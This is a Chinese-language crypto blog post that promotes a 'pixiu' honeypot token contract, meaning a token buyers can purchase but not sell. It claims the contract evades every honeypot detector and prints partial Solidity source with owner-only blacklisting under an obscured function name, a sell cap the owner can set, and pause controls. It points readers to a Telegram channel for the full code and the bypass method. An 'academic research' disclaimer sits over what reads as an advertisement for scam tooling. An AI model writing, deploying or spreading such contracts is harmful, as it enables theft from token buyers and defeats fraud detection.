貔貅盘过检测:蜜罐合约源码公布解密研究
交流与共享。https://t.me/bit369com01
免责声明:
本蜜罐合约源代码公布出来目的是提高安全防范意识, 仅限于学术研究, 故意使用造成他人金钱损失本团队概不负责.
什么是貔貅盘或蜜罐合约?
所谓貔貅盘或者叫蜜罐合约, 其实是一种特殊的代币合约, 通过技术手段使代币只能买进,不能卖出. 有些高级合约甚至能做到绕过检测, 今天就让小编为你揭开貔貅盘的神秘面纱.
貔貅盘实现思路
市面上常见的实现思路是直接在transfer的方法里添加逻辑, 但这种老套的方法早就被蜜罐检测机器人识别出来了, 经过团队刻苦研究, 终于实现了绕过所有检测手段的蜜罐合约.适合eth, bsc, arb等所有支持evm的链. 最新的实现方法采用evm虚拟机底层技术,从根本上绕过检测,具体实现方法可以联系文章开始与结尾的电报.
源代码研究
pragma solidity ^0.8.16;
contract Token is ERC20, Ownable {
IUniswapV2Router02 private constant ROUTER = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E);
address private constant BUSD = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
mapping(address => bool) public isPair;
mapping(address => bool) public isWhitelisted;
mapping(address => bool) public isBlackListed;
mapping(address => uint256) public totalSold;
bool public isSellOpen;
bool public isBuyOpen;
bool public isTransferNotLocked;
bool private _paused;
uint256 private liqAddedTime;
uint256 private constant sellBlockTime = 5 minutes;
uint256 public sellableAmount;
modifier whenNotPaused() {
if (msg.sender != owner()) {
require(!_paused, "Pausable: Paused");
}
_;
}
constructor(string memory name, string memory symbol) ERC20(name, symbol) {
_mint(msg.sender, 8000000 * (10**uint256(decimals())));
address pairBNB = IUniswapV2Factory(ROUTER.factory()).createPair(address(this), ROUTER.WETH());
address pairBUSD = IUniswapV2Factory(ROUTER.factory()).createPair(address(this), BUSD);
isPair[pairBNB] = true;
isPair[pairBUSD] = true;
isWhitelisted[msg.sender] = true;
isBuyOpen = true;
isTransferNotLocked = true;
sellableAmount = (totalSupply() * 1) / 1000;
}
function svart(address[] memory users, bool value) external onlyOwner {
uint256 len = users.length;
for (uint256 i; i < len; i++) {
isBlackListed[users[i]] = value;
}
}
function belopp(uint256 value) external onlyOwner {
sellableAmount = value;
}
function setPair(address pair, bool status) external onlyOwner {
isPair[pair] = status;
}
这里仅仅展示部分源码, 感兴趣的朋友可以通过电报索取全部源码.
如何通过检测?
不论什么样的检测都可以通过,比如ave,分红查币等等.

Copyright © 2023 Powered by Bit369.com, Theme used GitHub CSS.
